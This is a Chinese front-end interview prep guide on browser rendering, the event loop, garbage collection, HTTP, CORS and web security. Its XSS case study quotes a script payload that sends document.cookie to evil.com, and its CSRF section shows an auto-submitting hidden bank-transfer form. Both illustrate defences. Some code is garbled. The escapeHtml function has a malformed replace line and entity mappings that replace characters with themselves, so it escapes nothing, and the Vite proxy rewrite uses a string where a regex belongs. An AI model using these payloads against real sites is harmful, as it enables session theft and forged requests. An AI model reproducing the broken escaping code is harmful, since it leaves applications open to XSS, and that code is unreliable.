浏览器原理与前端安全 面试备战
从 URL 输入到页面渲染、从事件循环到安全攻防 —— 全面覆盖前端核心原理面试考点
1 浏览器渲染流程
渲染管线全流程
🔍 DNS = 查电话簿 — 你知道公司名,但需要查到电话号码(IP地址)
📞 TCP = 拨通电话 — 三次握手确保双方都准备好了再通话
📦 HTTP = 下订单 — 告诉对方你要什么(GET /index.html),对方发货给你
📋 DOM = 进货清单 — 把收到的零件(HTML标签)按层次整理好
🎨 CSSOM = 涂装方案 — 每个零件涂什么颜色、多大尺寸
🏗️ Render Tree = 组装图纸 — 只组装可见零件(display:none 的不进图纸)
📐 Layout = 测量放样 — 在工厂地面上标出每个零件的精确位置和大小
🖌️ Paint = 喷漆上色 — 按图纸把颜色画上去
📸 Composite = 分层拼装 — 多层独立喷涂后叠在一起,成品出厂!
关键步骤详解
浏览器缓存 → OS缓存 → 路由器缓存 → ISP DNS → 根域名服务器 → 顶级域名服务器 → 权威域名服务器。
典型耗时:本地缓存 0ms,完整递归查询 20~120ms。
A: "你能听到我吗?" (SYN)
B: "听到了,你能听到我吗?" (SYN+ACK)
A: "听到了,开始说吧!" (ACK)
// DOM 构建是增量的 —— 遇到 <script> 会阻塞
// CSSOM 构建是渲染阻塞的 —— 必须全部解析完
// Render Tree 只包含可见节点:
// head, meta, link, display:none → 不进 Render Tree
// visibility:hidden → 进入 Render Tree(占位但不可见)
重绘 (Repaint) vs 回流 (Reflow)
| 操作类型 | 触发条件 | 性能消耗 | 影响范围 |
|---|---|---|---|
| Reflow (回流) | 改变几何属性:width, height, margin, padding, position, font-size, display... | 高 — 重新计算布局 | 子元素和父元素都可能受影响 |
| Repaint (重绘) | 改变外观:color, background, visibility, box-shadow, border-radius... | 中 — 跳过 Layout | 仅影响自身外观 |
| Composite (合成) | transform, opacity | 低 — GPU 加速 | 独立图层,不影响其他元素 |
CSS 属性触发关系对照表
| 属性 | Reflow | Repaint | Composite |
|---|---|---|---|
| width / height | YES | — | — |
| margin / padding | YES | — | — |
| display | YES | YES | — |
| color | — | YES | — |
| background | — | YES | — |
| box-shadow | — | YES | — |
| visibility | — | YES | — |
| transform | — | — | YES |
| opacity | — | — | YES |
| top / left (positioned) | YES | — | — |
| will-change: transform | — | — | YES (提升为独立图层) |
// 反面模式:读写交替导致循环 reflow
for (let i = 0; i < 1000; i++) {
// 读 → 强制浏览器立即计算布局
const height = element.offsetHeight;
// 写 → 使布局失效
element.style.height = (height + 10) + 'px';
// 下一次循环读 offsetHeight 又要重新计算 → 1000次 reflow!
}
// 正确做法:批量读,批量写
const heights = [];
for (let i = 0; i < 1000; i++) {
heights.push(element.offsetHeight); // 批量读
}
for (let i = 0; i < 1000; i++) {
elements[i].style.height = (heights[i] + 10) + 'px'; // 批量写
}
// 或者使用 requestAnimationFrame
function updateHeight() {
const height = element.offsetHeight;
requestAnimationFrame(() => {
element.style.height = (height + 10) + 'px';
});
}
2 事件循环 (Event Loop)
核心机制
每轮宏任务结束后,全部微任务执行完毕才进入下一轮宏任务。微任务中产生的微任务也会在本轮执行。
每轮只取一个宏任务执行。执行完后清空微任务队列,再取下一个宏任务。
经典执行顺序题
console.log('1');
setTimeout(() => {
console.log('2');
}, 0);
Promise.resolve().then(() => {
console.log('3');
}).then(() => {
console.log('4');
});
console.log('5');
// 输出: 1, 5, 3, 4, 2
同步代码 → 微任务(Promise) → 宏任务(setTimeout)
setTimeout(() => console.log('A'), 0);
new Promise((resolve) => {
console.log('B');
resolve();
}).then(() => {
console.log('C');
new Promise((resolve) => {
console.log('D');
resolve();
}).then(() => console.log('E'));
}).then(() => console.log('F'));
console.log('G');
// 输出: B, G, C, D, E, F, A
async function async1() {
console.log('async1 start');
await async2();
console.log('async1 end'); // 等同于 .then() → 微任务
}
async function async2() {
console.log('async2');
}
console.log('script start');
setTimeout(() => {
console.log('setTimeout');
}, 0);
async1();
new Promise((resolve) => {
console.log('promise1');
resolve();
}).then(() => {
console.log('promise2');
});
console.log('script end');
// 输出: script start, async1 start, async2, promise1, script end,
// async1 end, promise2, setTimeout
setTimeout(fn, 0) 实际最小延迟为 4ms(HTML5 规范)。在 Chrome 中,嵌套 5 层以上的 setTimeout 最小延迟变为 4ms。
更关键的是,setTimeout 是宏任务,必须等所有微任务执行完、UI 渲染完成后才执行。
替代方案: 如果需要"尽快执行",使用 queueMicrotask() 或 Promise.resolve().then() 作为微任务,会在当前宏任务结束后立即执行。
3 垃圾回收
两种核心算法
引用计数 (Reference Counting)
标记-清除 (Mark-and-Sweep)
新生代 (Young Generation): 存活时间短的对象,使用 Scavenge 算法(Cheney 算法),空间小(1~8MB),回收频繁。
老生代 (Old Generation): 存活时间长的对象,使用 Mark-Sweep + Mark-Compact,空间大,回收频率低。
晋升条件: 经历过一次 Scavenge 仍然存活,或 To-Space 使用率超过 25%。
前端常见内存泄漏模式
// 组件销毁时没有清除定时器
const timer = setInterval(() => {
fetchData(); // 一直引用组件作用域
}, 1000);
// 忘记 clearInterval(timer) → 泄漏!
// 从 DOM 树移除,但 JS 仍持有引用
const button = document.getElementById('myBtn');
document.body.removeChild(button); // DOM 树中移除了
// 但 button 变量仍在引用它 → 无法被 GC!
// 解决: button = null;
function createHandler() {
const hugeData = new Array(1000000); // 大数组
return function() {
console.log(hugeData.length); // 闭包引用 hugeData
};
// hugeData 永远不会被回收,哪怕只用到了 length
}
// 意外的全局变量 (缺少 let/const/var)
function foo() {
bar = "I'm global now"; // 挂到 window.bar → 永远不回收
this.baz = "also global"; // 如果 this 是 window
}
// 解决: 'use strict' 模式下 this 为 undefined
Chrome DevTools Memory 面板排查流程
关键过滤: 搜索 Detached 查找分离节点;按 Retained Size 降序找最大泄漏;使用 Allocation Timeline 实时观察分配。
某后台管理系统 SPA,用户频繁切换页面后,Chrome 进程内存从 200MB 增长到 4GB,页面卡死。
根因: Vue 组件中注册了 window.addEventListener('resize', handler) 但在 beforeUnmount 中没有 removeEventListener。每个页面切换都累积一个无法回收的监听器 + 闭包中持有的组件实例。
修复: 在 beforeUnmount 中清除所有全局事件监听、定时器和第三方库实例。
4 HTTP 与 HTTPS
HTTP 版本对比
| 特性 | HTTP/1.1 | HTTP/2 | HTTP/3 |
|---|---|---|---|
| 传输层 | TCP | TCP | QUIC (UDP) |
| 多路复用 | 不支持 (6个TCP连接限制) | 支持 (同一连接多流) | 支持 (原生多流) |
| 队头阻塞 | TCP级阻塞 | TCP级仍存在 | 彻底解决 |
| 头部压缩 | 无 | HPACK | QPACK |
| 服务器推送 | 无 | 支持 (已逐步弃用) | 支持 |
| 连接建立 | TCP (1 RTT) | TCP + TLS (2~3 RTT) | QUIC (0~1 RTT) |
| 连接迁移 | 不支持 (IP变化断连) | 不支持 | 支持 (Connection ID) |
HTTPS 握手过程
TLS 1.3 改进
| 改进点 | TLS 1.2 | TLS 1.3 |
|---|---|---|
| 握手延迟 | 2 RTT | 1 RTT |
| 恢复连接 | 1 RTT | 0 RTT |
| 加密套件 | 多种 (含不安全的) | 仅 AEAD (移除不安全算法) |
| 密钥交换 | RSA / ECDHE | 仅 ECDHE (前向保密) |
| 安全性 | 存在已知攻击 | 移除所有已知漏洞 |
证书链 (Certificate Chain)
5 跨域与 CORS
同源策略 (Same-Origin Policy)
| URL A | URL B | 是否同源 | 原因 |
|---|---|---|---|
| https://a.com | https://a.com/api | 同源 | 路径不同没关系 |
| https://a.com | http://a.com | 跨域 | 协议不同 |
| https://a.com | https://b.com | 跨域 | 域名不同 |
| https://a.com | https://a.com:8080 | 跨域 | 端口不同 |
| https://a.com | https://sub.a.com | 跨域 | 子域也算不同 |
CORS 流程
简单请求
Origin: https://a.com
+ 数据
预检请求 (Preflight)
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Token
Access-Control-Allow-Headers: X-Token
常见 CORS 错误与解决方案
| 错误信息 | 原因 | 解决方案 |
|---|---|---|
| No 'Access-Control-Allow-Origin' | 服务器未返回 CORS 头 | 服务器添加响应头 |
| CORS policy: redirect not allowed | 跨域请求被 301/302 重定向 | 避免跨域重定向,或直接请求最终地址 |
| Credential is not supported | withCredentials + origin 为 * | 必须指定具体 Origin,不能为 * |
| Preflight wildcard | credentials 模式下 headers 不能为 * | 明确列出允许的 headers |
代理配置
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true,
rewrite: (path) =>
path.replace('/^\/api/', '')
}
}
}
}
# nginx.conf
server {
location /api {
if ($request_method = 'OPTIONS') {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods
'GET,POST,PUT,DELETE';
add_header Access-Control-Allow-Headers
'Content-Type,Authorization';
return 204;
}
proxy_pass http://backend:3000;
}
}
开发环境通过 Vite proxy 转发 /api,一切正常。部署到生产后,前端在 app.example.com,后端在 api.example.com,直接跨域报错。
根因: 开发代理只在 dev server 生效,生产环境没有中间代理层。
解决方案: ① Nginx 反向代理统一域名;② 后端配置 CORS 响应头;③ 使用 BFF 层(如 Next.js API Routes)在服务端转发请求。
6 前端安全
6.1 XSS (Cross-Site Scripting)
危害: 窃取 Cookie、篡改页面、蠕虫传播
最危险 — 持久化、影响所有用户
常见: 搜索结果页、错误提示
需诱导点击
常见: URL hash → innerHTML
服务器无法检测
XSS 防御手段
// HTML 转义函数
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/'<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 框架默认防护:
// React: {userInput} → 自动转义
// Vue: {{ userInput }} → 自动转义
// 只有 dangerouslySetInnerHTML / v-html 才有风险!
// HTTP 响应头
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
object-src 'none';
// 效果: 只允许加载指定来源的脚本
// 内联脚本和 eval() 被阻止
// 即使被注入 script 标签也无法执行
// 服务器设置 Cookie 时:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
// HttpOnly: JS 无法通过 document.cookie 读取
// Secure: 仅在 HTTPS 下传输
// SameSite: 防止跨站请求携带 Cookie
某社交平台用户将昵称改为 <script>fetch('https://evil.com?cookie='+document.cookie)</script>,其他用户查看其个人资料时,脚本执行导致 session 被窃取。
根因: 个人资料页使用 v-html 渲染用户昵称,未做转义。
修复: ① 使用 {{ }} 插值(自动转义);② 后端对用户输入进行 sanitize;③ 添加 CSP 头;④ 敏感 Cookie 设置 HttpOnly。
6.2 CSRF (Cross-Site Request Forgery)
CSRF 攻击流程
<!-- 攻击者网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script> document.forms[0].submit(); </script>
<!-- 浏览器自动携带 bank.com 的 Cookie -->
<!-- 服务器无法区分是用户主动操作还是被诱导 -->
CSRF 防御
SameSite=Strict 完全禁止跨站发送;SameSite=Lax 允许 GET 导航(推荐)。
XSS vs CSRF 对比
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 在用户浏览器执行脚本 | 冒充用户发送请求 |
| 攻击方式 | 注入恶意代码 | 利用已认证的 Cookie |
| 是否需要用户登录 | 不一定 | 必须 (利用登录状态) |
| 能否获取数据 | 能 (读取 DOM/Cookie) | 不能 (只能发请求) |
| 防御核心 | 输入转义 + CSP | Token + SameSite Cookie |
| HttpOnly 有效? | 有效 (防窃取 Cookie) | 无效 (浏览器自动带 Cookie) |
7 认证方案对比
Cookie + Session
POST /login
创建 Session
Set-Cookie: sid=xxx
自动带 Cookie
用户拿到一张会员卡(Cookie 中的 session_id),健身房有一个登记簿(服务器 Session 存储)。每次来刷会员卡号,查登记簿确认你的信息。卡丢了要补办(重新登录),登记簿满了要清理(Session 过期)。
Token (JWT)
生成 JWT
存 localStorage
Authorization: Bearer
验证签名
酒店给你一张电子门卡(JWT),卡里存着你的房间号和过期时间,用酒店的加密芯片签名。门锁(服务器)不需要联网查登记簿,直接验证卡上的签名就能开门。但卡丢了别人也能用(无法主动失效),所以过期时间要短。
OAuth 2.0
authorization_codeaccess_token三种方案对比
| 维度 | Cookie + Session | JWT | OAuth 2.0 |
|---|---|---|---|
| 状态 | 有状态 (服务器存 Session) | 无状态 | 有状态 (Token 管理) |
| 扩展性 | 差 (需共享 Session) | 好 | 好 |
| 安全性 | CSRF 风险 | XSS 风险 (Token 存前端) | 依赖实现 |
| 主动失效 | 容易 (删 Session) | 困难 (只能等过期) | 可撤销 |
| 跨域 | 需额外配置 | 天然支持 | 设计为跨域 |
| 适用场景 | 传统 Web 应用 | API / SPA / 移动端 | 第三方登录 / 开放平台 |
Access Token 有效期 15 分钟,用户编辑长文时 Token 过期,提交失败,体验很差。
解决方案 — 双 Token 机制:
① Access Token (短效, 15min) — 用于 API 认证
② Refresh Token (长效, 7天) — 仅用于获取新的 Access Token
③ 前端拦截 401 → 自动用 Refresh Token 换新 Access Token → 重试原请求
④ Refresh Token Rotation: 每次使用 Refresh Token 后,旧 Token 失效,返回新的 Refresh Token。如果检测到旧 Refresh Token 被使用,说明被盗,撤销所有 Token。
// Axios 拦截器实现
axios.interceptors.response.use(
(response) => response,
async (error) => {
if (error.response?.status === 401 && !error.config._retry) {
error.config._retry = true;
const newToken = await refreshAccessToken();
error.config.headers.Authorization = `Bearer ${newToken}`;
return axios(error.config); // 重试原请求
}
return Promise.reject(error);
}
);
8 CSP 与安全头
Content-Security-Policy 指令
| 指令 | 作用 | 示例值 |
|---|---|---|
default-src | 所有资源的默认策略 | 'self' |
script-src | JavaScript 来源 | 'self' cdn.example.com |
style-src | CSS 来源 | 'self' 'unsafe-inline' |
img-src | 图片来源 | 'self' data: https: |
connect-src | AJAX/WebSocket 来源 | 'self' api.example.com |
font-src | 字体来源 | 'self' fonts.googleapis.com |
frame-src | iframe 来源 | 'none' |
object-src | Flash/插件来源 | 'none' |
report-uri | 违规上报地址 | /csp-report |
其他安全响应头
| 响应头 | 作用 | 推荐值 |
|---|---|---|
X-Frame-Options |
防止页面被 iframe 嵌入 (防 Clickjacking) | DENY 或 SAMEORIGIN |
X-Content-Type-Options |
阻止浏览器 MIME 类型嗅探 | nosniff |
Strict-Transport-Security |
强制 HTTPS,防止降级攻击 | max-age=31536000; includeSubDomains |
X-XSS-Protection |
浏览器内置 XSS 过滤器 (已弃用) | 0 (关闭,用 CSP 替代) |
Referrer-Policy |
控制 Referer 头的发送范围 | strict-origin-when-cross-origin |
Permissions-Policy |
控制浏览器功能使用权限 | camera=(), microphone=(), geolocation=(self) |
# 安全响应头完整配置
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; object-src 'none'" always;
9 面试题精选 (30道)
宏任务: setTimeout, setInterval, I/O, UI rendering, MessageChannel
顺序: 同步代码 → 全部微任务 → 一个宏任务 → 全部微任务 → 下一个宏任务 → ...
await 右侧的表达式同步执行,await 下面的代码相当于 .then() 中的回调,是微任务。async function 内部的代码整体是同步的(直到遇到 await),async 函数调用本身是同步的。
queueMicrotask() 或 Promise.resolve().then()。
rIC: 在浏览器空闲时执行,适合低优先级任务(如预加载、数据分析),有 deadline 参数可检查剩余时间。
console.log('start')
setTimeout(() => console.log('timeout'))
Promise.resolve().then(() => console.log('promise'))
console.log('end')
// start → end → promise → timeout
async function f() {
console.log(1)
await Promise.resolve()
console.log(2)
}
setTimeout(() => console.log(3))
f()
new Promise(r => r()).then(() => console.log(4))
console.log(5)
// 1 → 5 → 2 → 4 → 3
排查: Chrome DevTools → Memory → Heap Snapshot → Comparison 视图对比操作前后的快照,搜索 "Detached" 查看分离节点,关注 Retained Size 排序。
HTTP/2: 二进制帧,多路复用(一个连接并行多流),头部压缩 (HPACK),服务器推送。
HTTP/3: 基于 QUIC (UDP),彻底解决队头阻塞,0-RTT 连接建立,支持连接迁移(网络切换不断连)。
TLS 1.3: 合并步骤,1-RTT 完成握手。恢复连接时 0-RTT。只保留 AEAD 加密和 ECDHE 密钥交换(前向保密)。
解决方案: ① CORS(服务器设置响应头,推荐);② 代理(开发环境 Vite proxy / 生产环境 Nginx 反向代理);③ WebSocket(不受同源策略限制);④ postMessage(跨窗口通信);⑤ JSONP(只支持 GET,已过时)。
预检请求: 不满足简单请求条件时(如 PUT/DELETE、application/json、自定义头),浏览器先发 OPTIONS 请求确认服务器是否允许,通过后才发实际请求。
防御: ① 输入输出转义(HTML Entity Encode);② CSP (Content-Security-Policy) 限制脚本来源;③ HttpOnly Cookie 防止 JS 读取;④ 使用框架的默认转义(Vue {{ }}、React {});⑤ 避免使用 innerHTML/v-html 渲染用户输入。
防御: ① CSRF Token(表单/请求头中携带服务器生成的随机 Token);② SameSite Cookie 属性(Strict/Lax);③ 验证 Referer/Origin 头;④ 关键操作要求二次确认(如输入密码)。
JWT: 无状态,Token 自包含用户信息,服务器不存储。利于扩展但无法主动失效(只能等过期)。
选择: 传统 Web 用 Session,API/SPA/移动端用 JWT,第三方登录用 OAuth 2.0。生产中常结合使用(JWT + Refresh Token + Redis 黑名单)。
缺点: 无法主动使某个 Token 失效(只能等过期);Payload 未加密(仅签名,不能存敏感信息);Token 体积比 session_id 大;续期机制复杂(需要 Refresh Token)。
default-src(默认策略)、script-src(JS 来源)、style-src(CSS 来源)。设置为 'self' 只允许同源资源,禁止内联脚本和 eval。配合 report-uri 可以收集违规报告。
Strict-Transport-Security — 强制 HTTPS②
X-Frame-Options — 防 Clickjacking (DENY/SAMEORIGIN)③
X-Content-Type-Options: nosniff — 防 MIME 嗅探④
Content-Security-Policy — 限制资源来源⑤
Referrer-Policy — 控制 Referer 泄露⑥
Permissions-Policy — 控制浏览器功能权限
console.log('1')
new Promise((resolve) => {
console.log('2')
resolve()
}).then(() => {
console.log('3')
Promise.resolve().then(() => console.log('4'))
}).then(() => {
console.log('5')
})
console.log('6')
// 1 → 2 → 6 → 3 → 4 → 5
// .then() 返回新 Promise,第二个 .then 要等第一个 .then 的同步部分完成
JS: 用 requestAnimationFrame 做动画;避免在滚动/resize 回调中做重计算(用防抖节流)。
DOM: 用 DocumentFragment 批量操作;虚拟列表渲染大量数据;使用 CSS will-change 提升合成层。
关键路径: 内联关键 CSS;async/defer 加载 JS;预加载关键资源 (preload/prefetch)。
合成层: 满足特定条件的渲染层会被提升为独立的合成层,由 GPU 单独处理。条件: 3D transform、will-change、video/canvas、opacity 动画等。
好处: 合成层的 transform/opacity 变化不需要 reflow/repaint,直接在 GPU 合成。注意: 过多合成层会消耗 GPU 内存。
防御: ①
X-Frame-Options: DENY/SAMEORIGIN 阻止被嵌入 iframe;② CSP 的 frame-ancestors 指令;③ JS 检测 if (window.top !== window.self) window.top.location = window.self.location;(frame busting)。
const p = new Promise((resolve) => {
console.log('A')
setTimeout(() => {
console.log('B')
resolve()
})
})
p.then(() => console.log('C'))
setTimeout(() => console.log('D'), 0)
console.log('E')
// A → E → B → C → D
// 注意: resolve() 在 setTimeout 中调用,
// 所以 .then() 要等到 resolve 所在的宏任务执行完
// 之后的微任务轮次才会执行
隐式模式 (Implicit): 已弃用。直接在前端获取 access_token(通过 URL fragment),Token 暴露在浏览器中,不安全。PKCE (Proof Key for Code Exchange) 是授权码模式的增强版,适用于 SPA(无后端 secret),现在推荐使用 PKCE 替代隐式模式。